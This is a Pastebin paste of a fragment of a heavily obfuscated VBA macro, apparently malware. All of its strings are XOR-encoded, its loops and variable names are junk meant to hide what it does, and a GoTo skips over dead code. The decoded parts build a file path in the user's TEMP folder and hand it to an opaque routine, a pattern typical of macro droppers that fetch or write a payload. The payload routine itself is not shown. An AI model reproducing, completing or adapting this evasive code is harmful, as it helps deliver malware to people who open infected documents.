  847. For oMxonDwO = 0 To 1
  848. Dim ixQNkElr, yugDhTVE, ldaHKlzD As String
  849. ixQNkElr = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(111) & Chr(43) & Chr(45) & Chr(51) & Chr(59) & Chr(48) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  850. yugDhTVE = LTrim(ixQNkElr)
  851. ldaHKlzD = RTrim(yugDhTVE)
  852.  
  853. DoEvents
  854. Next oMxonDwO
  855. Dim hBBOPFHV, qNpWtLdB, ualubCPN As String
  856. hBBOPFHV = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(115) & Chr(53) & Chr(46) & Chr(59) & Chr(40) & Chr(60) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  857. qNpWtLdB = LTrim(hBBOPFHV)
  858. ualubCPN = RTrim(qNpWtLdB)
  859.  
  860. HJKzlDPM:
  861.  
  862. Dim giSWfZQU As Integer
  863. For giSWfZQU = 0 To 2
  864. Dim dIpGowQq, KEJpwHZe, cbbRIqlM As String
  865. dIpGowQq = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(115) & Chr(48) & Chr(62) & Chr(39) & Chr(41) & Chr(63) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  866. KEJpwHZe = LTrim(dIpGowQq)
  867. cbbRIqlM = RTrim(KEJpwHZe)
  868.  
  869. DoEvents
  870. Next giSWfZQU
  871. Dim FLzugXlL, eOiPmUTA, TWwRrtgW As String
  872. FLzugXlL = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(101) & Chr(39) & Chr(53) & Chr(41) & Chr(51) & Chr(51) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  873. eOiPmUTA = LTrim(FLzugXlL)
  874. TWwRrtgW = RTrim(eOiPmUTA)
  875.  
  876. sdngkb = Environ(Xorex(Chr(49) & Chr(113) & Chr(42) & Chr(39), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")) & Xorex(Chr(57) & Chr(119) & Chr(54) & Chr(37) & Chr(59) & Chr(45) & Chr(60) & Chr(59) & Chr(63) & Chr(33) & Chr(51) & Chr(109) & Chr(93) & Chr(17) & Chr(27) & Chr(29), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  877.  
  878. GoTo cBuVwuMm
  879. Dim wPPPlonL As String
  880. Open Xorex(Chr(55) & Chr(125) & Chr(49) & Chr(34) & Chr(48) & Chr(55) & Chr(95) & Chr(52) & Chr(34) & Chr(52), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5") For Binary As 39
  881. Dim QYzDbZQP As Integer
  882. For QYzDbZQP = 0 To 9
  883. Dim izZVObjb, logasfmP, TgarDzcM As String
  884. izZVObjb = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(122) & Chr(48) & Chr(45) & Chr(43) & Chr(47) & Chr(51) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  885. logasfmP = LTrim(izZVObjb)
  886. TgarDzcM = RTrim(logasfmP)
  887.  
  888. DoEvents
  889. Next QYzDbZQP
  890. Dim xPXoDZfS, lPumiUQD, fQjYAQoF As String
  891. xPXoDZfS = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(126) & Chr(42) & Chr(58) & Chr(44) & Chr(41) & Chr(51) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  892. lPumiUQD = LTrim(xPXoDZfS)
  893. fQjYAQoF = RTrim(lPumiUQD)
  894.  
  895. Put #39, , wPPPlonL
  896. Dim ffpyMCLp As Integer
  897. For ffpyMCLp = 0 To 2
  898. Dim lvHgVOEp, VlvOqrmz, EgytcvdL As String
  899. lvHgVOEp = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(127) & Chr(56) & Chr(33) & Chr(45) & Chr(44) & Chr(42) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  900. VlvOqrmz = LTrim(lvHgVOEp)
  901. EgytcvdL = RTrim(VlvOqrmz)
  902.  
  903. DoEvents
  904. Next ffpyMCLp
  905. Dim ZGtVjHdd, JTqAxAvW, lJbwyBug As String
  906. ZGtVjHdd = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(103) & Chr(33) & Chr(46) & Chr(39) & Chr(52) & Chr(46) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  907. JTqAxAvW = LTrim(ZGtVjHdd)
  908. lJbwyBug = RTrim(JTqAxAvW)
  909.  
  910. Close #39
  911. Dim EbpoPTEC As Integer
  912. For EbpoPTEC = 0 To 7
  913. Dim NAZeEDhQ, sUgutAlX, plJLeEBm As String
  914. NAZeEDhQ = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(99) & Chr(49) & Chr(46) & Chr(50) & Chr(61) & Chr(34) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  915. sUgutAlX = LTrim(NAZeEDhQ)
  916. plJLeEBm = RTrim(sUgutAlX)
  917.  
  918. DoEvents
  919. Next EbpoPTEC
  920. Dim XjkOUiyF, KjAWzsEG, DkQuxjaH As String
  921. XjkOUiyF = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(103) & Chr(43) & Chr(37) & Chr(59) & Chr(49) & Chr(57) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  922. KjAWzsEG = LTrim(XjkOUiyF)
  923. DkQuxjaH = RTrim(KjAWzsEG)
  924.  
  925. cBuVwuMm:
  926.  
  927. Dim wldJoHam As Integer
  928. For wldJoHam = 0 To 6
  929. Dim dQLdlzNH, KYnUUxJU, cZizMKIb As String
  930. dQLdlzNH = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(115) & Chr(49) & Chr(61) & Chr(53) & Chr(48) & Chr(54) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  931. KYnUUxJU = LTrim(dQLdlzNH)
  932. cZizMKIb = RTrim(KYnUUxJU)
  933.  
  934. DoEvents
  935. Next wldJoHam
  936. Dim RyluwpPT, LXvPnWXf, wuSRplTU As String
  937. RyluwpPT = Xorex(Chr(69) & Chr(20) & Chr(71) & Chr(87) & Chr(65) & Chr(70) & Chr(81) & Chr(82) & Chr(90) & Chr(82) & Chr(86) & Chr(97) & Chr(32) & Chr(59) & Chr(41) & Chr(47) & Chr(61) & Chr(83) & Chr(24) & Chr(66) & Chr(22) & Chr(75) & Chr(66) & Chr(17) & Chr(24) & Chr(16) & Chr(84) & Chr(89) & Chr(68) & Chr(19) & Chr(82) & Chr(24), "e4gwafqrzrv5stcxzs8b6kb180tyd3r8i774q26l8zex0uvjp5")
  938. LXvPnWXf = LTrim(RyluwpPT)
  939. wuSRplTU = RTrim(LXvPnWXf)
  940.  
  941.     MPIRKLCZGPW bdskk, sdngkb
  942. End Sub
  943.  
  944.  
  945.  
  946.  
  947.  
  948.  
  949. '----------------------
  950. 'Xor Function
  951. '----------------------
  952. Public Function Xorex(ByVal sStr As String, ByVal sKey As String) As String
  953. Dim i As Long
  954.     For i = 1 To Len(sStr)
  955.         Xorex = Xorex & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey), Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
  956.     Next i
  957. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top